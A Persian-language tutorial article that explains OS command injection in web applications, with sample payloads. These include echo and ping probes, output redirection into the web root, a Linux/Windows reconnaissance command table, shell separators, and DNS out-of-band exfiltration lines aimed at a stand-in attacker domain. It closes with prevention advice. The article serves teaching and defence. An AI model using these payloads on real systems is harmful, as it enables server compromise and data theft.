در این مقاله یکی از رایجترین حملات تزریق فرمان را توضیح میدهیم. این حمله که به نامهای تزریق فرمان سیستمعامل، تزریق دستور OS و تزریق Shell شناخته میشود، یکی از حملات وب به شمار میرود. در بخشهای بعدی آسیبپذیریهایی را که میتوان برای این حمله از آنها سواستفاده کرد و نحوهی شناسایی و اکسپلویت آنها را تشریح میکنیم، چند مورد از دستورات و تکنیکهای بهدردبخور برای سیستمعاملهای مختلف را مرور میکنیم، و به طور خلاصه نحوهی جلوگیری از حملات تزریق فرمان OS را توضیح میدهیم.
تزریق فرمان OS چیست؟
OS Command Injection که با نام تزریق شل یا Shell Injection نیز شناخته میشود، یک آسیبپذیری وب است که به مهاجم اجازه میدهد دستورات سیستمعامل (OS) دلخواه خود را روی سروری اجرا کند که یک وب اپلیکیشن روی آن قرار دارد. این حمله در صورت موفقیت، معمولا باعث هکشدن کامل اپلیکیشن و تمام دادههای آن میشود. بسیاری اوقات، یک مهاجم میتواند با استفاده از یک آسیبپذیری تزریق فرمان OS، به بخشهای دیگر زیرساخت میزبان نیز دسترسی پیدا کند؛ مهاجم برای این کار روابط و اتصالات مورد اعتماد در زیرساخت را اکسپلویت میکند تا بتواند حمله را به دیگر سیستمهای داخل سازمان نیز گسترش دهد – کاری که اصطلاحاً به آن Pivot کردن حمله میگویند.
تزریق شل چیست؟
تزریق دستورات دلخواه
یک اپلیکیشن خرید را فرض کنید که به کاربر اجازه میدهد موجودی یک محصول خاص در یک فروشگاه خاص را چک کند. با لینکی مثل URL زیر میتوان این اطلاعات را به دست آورد:
https://insecure-website.com/stockStatus?productID=381&storeID=29
اپلیکیشن برای تهیهی اطلاعات موجود محصول، باید از چندین سیستم Legacy کوئری کند. این کارکرد در این اپلیکیشن از گذشته به این صورت پیاده شده که یک دستور شل اجرا میکند که آرگومانهای آن، ID محصول و فروشگاه هستند:
stockreport.pl 381 29
خروجی این دستور، وضعیت موجودی محصول مورد نظر است که به کاربر برمیگردد.
از آنجایی که این اپلیکیشن هیچ راهکار دفاعی برای مقابله با حملات تزریق شل استفاده نکرده، یک مهاجم میتواند ورودی زیر را وارد کند و یک دستور متفرقه اجرا کند:
& echo aiwefwlguh &
این ورودی در قسمت productID در URL قرار میگیرد. بعد از آن، دستوری که سیستم عامل اجرا میکند، دستور زیر است:
stockreport.pl & echo aiwefwlguh & 29
دستور echo خیلی ساده باعث میشود رشته حروفی که به آن داده شده در خروجی نمایش داده شود، و برای تست وجود برخی از انواع آسیبپذیریهای تزریق دستورات OS به کار میآید. کاراکتر & یک عملگر در زبان شل و به معنای شروع خط جدید دستور است، به همین خاطر عملا چیزی که اجرا میشود، سه دستور پشت سر یکدیگر است. در نتیجه، این خروجی به کاربر برمیگردد:
Error – productID was not provided
aiwefwlguh
29: command not found
این سه خط دستور به این معنی هستند:
- دستور اصلی یعنی pl، بدون آرگومانهای مورد انتظار اجرا شده، و به همین دلیل یک پیام خطا برگردانده است.
- دستور echo تزریقشده اجرا شده است، و رشتهحروف دادهشده به آن در خروجی چاپ شده است.
- آرگومان اصلی 29 به عنوان یک دستور اجرا میشود که یک خطا برمیگرداند.
عموماً بهتر است پس از هر دستور، یک عملگر دستور «&» قرار دهیم، چون دستور تزریقشده را از کاراکترهایی که پس از آن میآیند جدا میکند. با این کار احتمال این که کاراکترهای آمده در ادامهی دستور باعث عدم اجرای آن شوند، بسیار کمتر میشود.
دستورات مفید
وقتی یک آسیبپذیری تزریق فرمان OS را شناسایی کردید، معمولا بهتر است که ابتدا چند دستور اولیه را اجرا کنید تا بتوانید اطلاعات بیشتری راجع به سیستم هدف به دست آورید. در جدول زیر خلاصهای از برخی دستورات مفید لینوکسی و ویندوزی آمده است:
هدف دستور | لینوکس | ویندوز |
اسم کاربر فعلی | whoami | whoami |
سیستم عامل | uname –a | ver |
پیکربندی شبکه | ifconfig | ipconfig/all |
اتصالات شبکه | netstat –an | netstat -an |
پروسسهای در حال اجرا | ps –ef | tasklist |
آسیبپذیریهای Blind OS Command Injection
بسیاری از نمونههای آسیبپذیری تزریق دستورات OS، از نوع Blind یا کور هستند. این آسیبپذیری زمانی اتفاق میافتد که اپلیکیشن خروجی دستور را در پاسخ HTTP خود برنمیگرداند. با این وجود میتوان آسیبپذیریهای کور را هم اکسپلویت کرد، ولی برای این کار به تکنیکهای متفاوتی نیاز است.
یک وبسایت را فرض کنید که به کاربران اجازه میدهد بازخورد خود را در قسمت Feedback سایت ثبت کنند. کاربر برای ثبت بازخورد آدرس ایمیل و پیام مورد نظر خود را وارد میکند. سپس اپلیکیشن سمت سرور یک ایمیل برای ارسال به یکی از ادمینهای سایت تولید میکند و پیام بازخورد را در آن قرار میدهد. اپلیکیشن برای این کار برنامههای mail را صدا میزند و اطلاعات را در آن ثبت میکند. برای مثال:
mail -s “This site is great” -aFrom:peter@normal-user.net feedback@vulnerable-website.com
خروجی دستور mail (در صورتی که اصلا خروجی داشته باشد) در پاسخ اپلیکیشن به کاربر برنمیگردد، و به همین خاطر استفاده از پیلود echo کارساز نیست. در این وضعیت، میتوان از مجموعهای متنوع از تکنیکهای دیگر برای شناسایی و اکسپلویت یک آسیبپذیری استفاده کرد.
تشخیص آسیبپذیری Blind OS Command Injection با استفاده از تاخیرهای زمانی
شما میتوانید دستوری را تزریق کنید که باعث ایجاد یک تاخیر زمانی شود؛ با استفاده از چنین دستوری میتوانید بر اساس زمانی که طول میکشد تا اپلیکیشن پاسخ خود را ارسال کند، متوجه شوید که دستور اجرا شده یا نه. استفاده از دستور ping یک روش موثر برای انجام این کار است، چون این دستور به شما اجازه میدهد تعداد پکتهای ICMP را که ارسال میشوند تعیین کنید، و از این طریق میتوانید مدت زمان اجرای دستور را تغییر دهید:
& ping -c 10 127.0.0.1 &
این دستور باعث میشود اپلیکیشن از آداپتور Loopback خود به مدت 10 ثانیه پینگ بگیرد.
اکسپلویت Blind OS Command Injection با ریدایرکتکردن خروجی
شما میتوانید خروجی فرمان تزریقشده را به یک فایل داخل web root ریدایرکت کنید که از طریق مرورگر به آن دسترسی دارید. برای مثال، اگر اپلیکیشن منابع استاتیک را از آدرس /var/ww/static در فایلسیستم سرور بارگیری میکند، میتوانید ورودی زیر را در آن ثبت کنید:
& whoami > /var/www/static/whoami.txt &
کاراکتر « < » خروجی دستور whoami را به فایل تعیینشده میفرستد. پس از اجرای این دستور میتوانید از طریق مرورگر خود فایل را از آدرس https://vulnerable-website.com/whoami.txt دریافت کنید و خروجی دستور تزریقشده (در این مورد whoami) را در آن مشاهده کنید.
اکسپلویت تزریق فرمان OS کور با تکنیکهای OAST (Out-of-Band)
شما میتوانید با استفاده از تکنیکهای OAST یا Out-of-Band، دستوری را به سیستمعامل تزریق کنید که باعث برقراری یک ارتباط Out-of-Band با سیستمی شود که در کنترل شماست. برای مثال:
& nslookup kgji2ohoyw.web-attacker.com &
این پیلود از دستور dnslookup استفاده میکند تا یک DNS Lookup برای دامنهی مشخصشده انجام شود. مهاجم میتواند انجامشدن این لوکآپ خاص را زیر نظر بگیرید، و این گونه متوجه شوید تزریق دستور با موفقیت انجام شده یا نه.
کانال out-of-band یک راه آسان نیز برای استخراج خروجی دستورات تزریقشده فراهم میکند:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
این دستور باعث انجام یک DNS Lookup میشود؛ این DNS Lookup برای آدرسی انجام میشود که زیردامنهی کاربر است و خروجی دستور whoami –یعنی نام کاربر- را نیز در خود دارد. برای مثال:
wwwuser.kgji2ohoyw.web-attacker.com
راههای مختلف تزریق دستورات OS
تعداد زیادی از متاکاراکترهای شل را میتوان برای اجرای حملات تزریق فرمان OS استفاده کرد.
بعضی کاراکترها مثل جداکننده فرمانها عمل میکنند، و به شما اجازه میدهند چند دستور را پشت سر هم قرار دهید. جداکنندههای زیر هم روی سیستمهای ویندوزی و هم سیستمهای مبتنی بر یونیکس کار میکنند:
- &
- &&
- |
- ||
جداکنندههای زیر فقط روی سیستمهای مبتنی بر یونیکس کار میکنند:
- ;
- کاراکتر Newline (0x0a یا \n)
به علاوه، در سیستمهای مبتنی بر لینوکس میتوانید از کاراکتر backtick ( کاراکتر `) یا علامت دلار ($) هم استفاده کنید تا بتوانید دستور تزریقشده را در دل دستور اصلی (یا به عبارت بهتر به صورت inline) اجرا کنید:
- ` injected command `
- $( injected command )
توجه داشته باشید که کارکرد و رفتار متاکاراکترهای شل تفاوتهای ظریفی با هم دارند که ممکن است در کارکردن یا کارنکردن حمله در بعضی شرایط خاص، تاثیری تعیینکننده داشته باشد. در انتخاب این کاراکترها باید به این نکته هم توجه داشته باشید که یک کاراکتر خاص فقط اجازهی دستیابی in-band (داخل شبکه) به خروجی یک دستور را میدهد یا برای اکسپلویت Blind یا کور هم میتوان از آن استفاده کرد.
بعضی اوقات، دستور اصلی که داخل آن کد تزریقی را وارد میکنید، داخل کوتیشن (“ یا ‘) قرار دارد. در چنین مواقعی باید با گذاشتن مجدد علامت کوتیشن (“ یا ‘ بسته به این که کوتیشن با کدام علامت باز شده باشد) کوتیشن را ببندید و بعد از متاکاراکتر مناسب برای تزریق دستور جدید استفاده کنید.
نحوه جلوگیری از حملات تزریق فرمان OS
در حال حاضر موثرترین راه برای پیشگیری از آسیبپذیریهای OS Command Injection، این است که هیچوقت در کد لایه اپلیکیشن به طور مستقیم دستورات OS را استفاده نکنیم. در تمام موارد استفاده، راههای جایگزین ایمنتر هم وجود دارد و میتوان با استفاده از Platform API مناسب، عملکرد مورد نیاز را پیادهسازی کرد.
اگر در شرایط خاصی هیچ راهی جز استفاده از دستورات OS حاوی ورودی کاربر نبود، باید یک روش قدرتمند برای اعتبارسنجی ورودی کاربر پیاده کرد. چند نمونه از روشهای اعتبارسنجی عبارتند از:
- اعتبارسنجی ورودی با بررسی یک لیست سفید از مقادیر مجاز.
- اطمینان از این که ورودی حتما عدد باشد.
- اطمینان از این که ورودی فقط دارای حروف و اعداد است و هیچ کاراکتر دیگر یا فضای خالی (اسپیس) ندارد.
هیچوقت سعی نکنید با حذف یا غیرمجازکردن متاکاراکترهای شل ورودی را پاکسازی کنید؛ در عمل این روش بسیار مستعد خطاست و یک هکر باتجربه و ماهر به راحتی میتواند چنین روشهایی را دور بزند.